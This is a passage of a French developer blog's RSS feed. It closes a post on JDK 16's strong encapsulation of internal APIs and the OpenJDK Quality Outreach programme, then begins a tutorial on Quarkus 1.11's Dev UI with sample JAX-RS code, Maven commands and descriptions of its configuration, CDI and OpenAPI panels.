&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;qualité_et_communauté&quot;&gt;Qualité et communauté&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Depuis septembre 2015, Oracle a mis en place un programme qualité avec les projets open-source qui souhaitent y participer. L&amp;#8217;objectif est que les projets puissent travailler avec les pré-versions du JDK afin de remonter des régressions ou des problèmes. Ainsi, cela peut être pris en compte par le projet OpenJDK qui y apporte des correctifs avant la disponibilité de la version.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Lors du dernier bulletin de &lt;a href=&quot;https://wiki.openjdk.java.net/display/quality/Quality+Outreach+Report+December+2020&quot;&gt;Décembre 2020&lt;/a&gt;, parmi les 65 projets ayant répondu à la dernière campagne, 26 projets avaient déjà testé avec succès le passage au JDK 16. Nous avons par exemple Hibernate, Apache Lucene, Apache Tomcat&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Le programme aborde tous les sujets de OpenJDK et pas seulement l&amp;#8217;encapsulation renforcé des API internes. Cela permet d&amp;#8217;avoir une bonne image de la communauté à ce niveau là.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Ce billet est aussi l&amp;#8217;occassion de mettre en lumière ce travail.&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ci-dessous un extrait du rapport. Neuf projets sur les 154 participants ont rempli 11 fiches de bogue en trois mois (de septembre 2020 à décembre 2020) sur le volet JDK 16 (early access)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/quality-outreach-decembre2020.png&quot; alt=&quot;quality outreach decembre2020&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Le rapport est produit tous les 3 mois. Le prochain sera en mars 2020.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A mon avis, le JDK 16 est une bonne cible pour recevoir cette évolution pour les raisons suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Choisir le JDK 17, soit la prochaine version LTS, cela aurait pu être un frein pour l&amp;#8217;adoption de cette version.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Choisir un JDK après le JDK 17 aurait repoussé de 3 ans ce renforcement et l&amp;#8217;atteinte à cet objectif.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Choisir le JDK 16 permet aux librairies et frameworks qui ne sont à jour de le faire avant la sortie du JDK 17.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De plus, la mise en place du programme Qualité avec un ensemble de projet open-source permet de s&amp;#8217;assurer que beaucoup de librairies et/ou framework fonctionne d&amp;#8217;ores et déjà avec le JDK 16&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Enfin, il est encore possible de désactiver ce renforcement comme nous l&amp;#8217;avons évoqué plus haut. Mais cela permet de mettre la pression sur les dernières librairies récalcitrantes.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/projects/jigsaw/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Projet Jigsaw&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mail.openjdk.java.net/pipermail/jigsaw-dev/2017-June/012841.html&quot;&gt;(en) Mail de Mark Reinhold sur l&amp;#8217;assouplissement de l&amp;#8217;encapsulation&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/260&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 260: Encapsulate Most Internal APIs&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/396&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 396: Strongly Encapsulate JDK Internals by Default&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.openjdk.java.net/display/quality/Quality+Outreach&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Quality Outreach&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.openjdk.java.net/display/JDK8/Java+Dependency+Analysis+Tool&quot;&gt;(en) Java Dependency Analysis Tool&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Quarkus et la DevUI</title>
      <link>https://www.lilian-benoit.fr/2021/02/Quarkus-et-devUI.html</link>
      <pubDate>dim., 14 févr. 2021 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2021/02/Quarkus-et-devUI.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#comment_commencer&quot;&gt;Comment commencer ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#la_dev_ui&quot;&gt;La Dev UI&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#le_principe_des_panneaux&quot;&gt;Le principe des panneaux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#laccès_aux_guides&quot;&gt;L&amp;#8217;accès aux guides&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#laccès_aux_informations&quot;&gt;L&amp;#8217;accès aux informations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#laccès_à_des_url_techniques&quot;&gt;L&amp;#8217;accès à des URL techniques&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#extension&quot;&gt;Extension&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#comment_tester&quot;&gt;Comment tester ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;annonce de Quarkus a été faite en mars 2019 et la première release en &lt;a href=&quot;https://quarkus.io/blog/announcing-quarkus-1-0/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;novembre 2019&lt;/a&gt;. Le projet est jeune et mature par ses fondations.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;  Pour ceux qui connaissent déjà Quarkus, vous pouvez aller directement à la section &lt;a href=&quot;/2021/02/Quarkus-et-devUI.html#la_dev_ui&quot;&gt;Dev UI&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le developpeur Java ne sera pas perdu car il va continuer à travailler avec des API connues commes JAX-RS, JPA et plein d&amp;#8217;autres.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Pour les habitués à Spring, il existe des extensions pour assurer la compatibilité avec Spring DI, Spring Data JPA par exemple.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le nombre d&amp;#8217;extension est très important. Une extension est ni plus ni plus moins une dépendance du projet. Cela permet d&amp;#8217;ajouter Hibernate, OpenAPI, Kafka.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cependant, l&amp;#8217;intérêt de l&amp;#8217;extension est que cela permet de prendre en charge une partie du travail lors de la compilation pour améliorer les performances à l&amp;#8217;exécution. Cela prend au compte aussi des opérations pour le support de GraalVM et de la compilation native.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Nous parlons souvent de Cloud Native. Mais les applications Quarkus fonctionnent avec un simple JDK et pas forcément dans un conteneur.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;comment_commencer&quot;&gt;Comment commencer ?&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Des commandes Maven existent pour la création du projet. Le plus simple, à mon avis, est de passer par le site &lt;a href=&quot;https://code.quarkus.io/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://code.quarkus.io/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/code-quarkus.png&quot; alt=&quot;code quarkus&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour commencer, il suffit de renseigner :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Groupe Id&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Artefact Id&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Outil de construction : Maven ou Gradle&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Puis, il suffit de choisir ces extensions.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons commencer par sélectionner uniquement l&amp;#8217;extension &lt;strong&gt;RESTeasy JSON-B&lt;/strong&gt; afin de réaliser des api REST.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Le petit avion après le nom de l&amp;#8217;extension précise que du code d&amp;#8217;exemple est fourni dans l&amp;#8217;archive générée.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous téléchargeons et importons l&amp;#8217;archive dans notre IDE. Et nous avons la structure du projet.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;pom.xml&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;README.md&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;application.properties (dans le dossier &lt;code&gt;src/main/resources&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;un exemple d&amp;#8217;implémentation JAX-RS dans le répertoire &lt;code&gt;src/main/java&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;@Path(&quot;/hello-resteasy&quot;)
public class GreetingResource {

    @GET
    @Produces(MediaType.TEXT_PLAIN)
    public String hello() {
        return &quot;Hello RESTEasy&quot;;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;mais aussi un test d&amp;#8217;intégration dans le répertoire &lt;code&gt;src/test/java&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;    @Test
    public void testHelloEndpoint() {
        given()
          .when().get(&quot;/hello-resteasy&quot;)
          .then()
             .statusCode(200)
             .body(is(&quot;Hello RESTEasy&quot;));
    }&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour l&amp;#8217;exécution, il faut utiliser la cible &lt;code&gt;quarkus:dev&lt;/code&gt; qui permet notamment la recharge automatique de l&amp;#8217;application lors des modifications du code.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;mvn package quarkus:dev&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Et voila, le tour est joué. L&amp;#8217;API est disponible.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;__  ____  __  _____   ___  __ ____  ______
 --/ __ \/ / / / _ | / _ \/ //_/ / / / __/
 -/ /_/ / /_/ / __ |/ , _/ ,&amp;lt; / /_/ /\ \
--\___\_\____/_/ |_/_/|_/_/|_|\____/___/
            Powered by Quarkus 1.11.3.Final
2021-02-14 15:17:54,453 INFO  [io.quarkus] (Quarkus Main Thread) 2021-02-Quarkus-DevUI 1.0.0-SNAPSHOT on JVM (powered by Quarkus 1.11.3.Final) started in 0.811s. Listening on: http://localhost:8080
2021-02-14 15:17:54,454 INFO  [io.quarkus] (Quarkus Main Thread) Profile dev activated. Live Coding activated.
2021-02-14 15:17:54,454 INFO  [io.quarkus] (Quarkus Main Thread) Installed features: [cdi, resteasy, resteasy-jsonb]&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Lors du démarrage, l&amp;#8217;application précise qu&amp;#8217;elle écoute au port 8080. En prenant notre navigateur, nous obtenons la page suivante en allant &lt;a href=&quot;http://localhost:8080&quot; class=&quot;bare&quot;&gt;http://localhost:8080&lt;/a&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/quarkus-index.png&quot; alt=&quot;quarkus index&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; La page d&amp;#8217;accueil et les ressources statiques sont disponibles dans le répertoire &lt;code&gt;src/main/resources/META-INF/resources&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette page nous indique que nous avons une ressource. Il nous reste simplement à cliquer sur le GET /hello-reasteasy pour appeler directement notre ressource et obtenir le message suivant : &lt;strong&gt;Hello RESTEasy&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;la_dev_ui&quot;&gt;La Dev UI&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est une page pour les développeurs qui a été introduite dans la &lt;a href=&quot;https://quarkus.io/blog/quarkus-1-11-0-final-released/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;version 1.11&lt;/a&gt; de Quarkus (janvier 2021).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Elle est accessible via l&amp;#8217;URI suivante &lt;code&gt;/q/dev&lt;/code&gt;, soit l&amp;#8217;url : &lt;a href=&quot;http://localhost:8080/q/dev/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://localhost:8080/q/dev/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;  Elle est disponible uniquement si nous sommes en mode dev.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici le résultat de l&amp;#8217;affichage de cette page :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/quarkus-devui-accueil.png&quot; alt=&quot;quarkus devui accueil&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;le_principe_des_panneaux&quot;&gt;Le principe des panneaux&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La page contient un certain nombre de panneau en fonction des extensions que nous avons sélectionnées. Dans notre cas, nous avons choisi &lt;strong&gt;RESTEasy JSON-B&lt;/strong&gt;, donc c&amp;#8217;est normale d&amp;#8217;avoir les panneaux suivants :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;RESTEasy JAX-RS&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;RESTEasy JSON-B&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ArC, pour CDI&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela correspond bien aux fonctionnalités installées comme mentionnées lors du démarrage&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;...(Quarkus Main Thread) Installed features: [cdi, resteasy, resteasy-jsonb]&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons des panneaux supplémentaires liés aux dépendances :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Configuration, nécessaire pour la gestion des propriétés,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;RESTEasy Server Common,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;JSON-B, nécessaire car nous avons choisi l&amp;#8217;implémentation JSON-B.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;laccès_aux_guides&quot;&gt;L&amp;#8217;accès aux guides&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Un point intéressant est qu&apos; à chaque panneau correspond une petite icône bleu. C&amp;#8217;est tout simplement un lien vers le guide approprié. Cela permet donc au développeur d&amp;#8217;avoir l&amp;#8217;ensemble des guides nécessaires en fonction des fonctionnalités installées.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;laccès_aux_informations&quot;&gt;L&amp;#8217;accès aux informations&lt;/h3&gt;
&lt;div class=&quot;sect3&quot;&gt;
&lt;h4 id=&quot;propriétés&quot;&gt;&lt;strong&gt;Propriétés&lt;/strong&gt;&lt;/h4&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons un lien vers un éditeur de configuration. Cela permet de voir l&amp;#8217;ensemble des propriétés utilisées lors de l&amp;#8217;exécution :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Nom de la propriété,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Valeur de la propriété,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Valeur par défaut,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Source,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Description.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La &lt;strong&gt;source&lt;/strong&gt; est intéressante car cela permet de savoir comment la valeur a été configurée :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SysPropConfigSource&lt;/strong&gt;, pour les propriétés systèmes,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;EnvConfigSource&lt;/strong&gt;, pour les variables d&amp;#8217;environnement,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;PropertiesConfigSource[source=application.properties]&lt;/strong&gt;, pour le fichier application.properties,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;PropertiesConfigSource[source=Build time config]&lt;/strong&gt;, pour le fichier application.properties dont les valeurs ont été précisées lors de la compilation,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;default values&lt;/strong&gt;, pour les valeurs prenant les valeurs par défaut.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La modification de la propriété est possible avec le bouton &lt;code&gt;Update&lt;/code&gt;. Ainsi, la propriété sera renseignée dans le fichier &lt;code&gt;application.properties&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/quarkus-config-editor.png&quot; alt=&quot;quarkus config editor&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect3&quot;&gt;
&lt;h4 id=&quot;cdi&quot;&gt;&lt;strong&gt;CDI&lt;/strong&gt;&lt;/h4&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Coté CDI, nous pouvons avoir des informations supplémentaires sur :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Beans&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Observeurs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Beans supprimés&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Intercepteurs&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par exemple, étant donné que nous avons sélectionné &lt;strong&gt;JSON-B&lt;/strong&gt;, nous allons pouvoir vérifier la présence du Producteur CDI. Effectivement, nous voyons que le bean est bien présent sur la ligne n°8.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/quarkus-arc-jsonb.png&quot; alt=&quot;quarkus arc jsonb&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Naturellement, cela permettra de contrôler nos beans et leurs scopes.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;laccès_à_des_url_techniques&quot;&gt;L&amp;#8217;accès à des URL techniques&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Afin d&amp;#8217;illuster ce point, nous allons utiliser l&amp;#8217;extension concernant OpenAPI. Pour cela, il est nécessaire d&amp;#8217;ajouter l&amp;#8217;extension &lt;code&gt;quarkus-smallrye-openapi&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;io.quarkus&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;quarkus-smallrye-openapi&amp;lt;/artifactId&amp;gt;
&amp;lt;/dependency&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;  Nous pourrons noter qu&amp;#8217;il suffit d&amp;#8217;enregistrer le fichier pom.xml afin que l&amp;#8217;application télécharge les dépendances via Maven et recharge l&amp;#8217;application automatiquement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Au redémarrage, nous avons deux nouvelles fonctionnalités &lt;code&gt;smallrye-openapi&lt;/code&gt; et &lt;code&gt;swagger-ui&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;...(Quarkus Main Thread) Installed features: [cdi, resteasy, resteasy-jsonb, smallrye-openapi, swagger-ui]&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Côté Dev UI, nous avons deux nouveaux panneaux :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;SmallRye OpenAPI&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Swagger UI&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
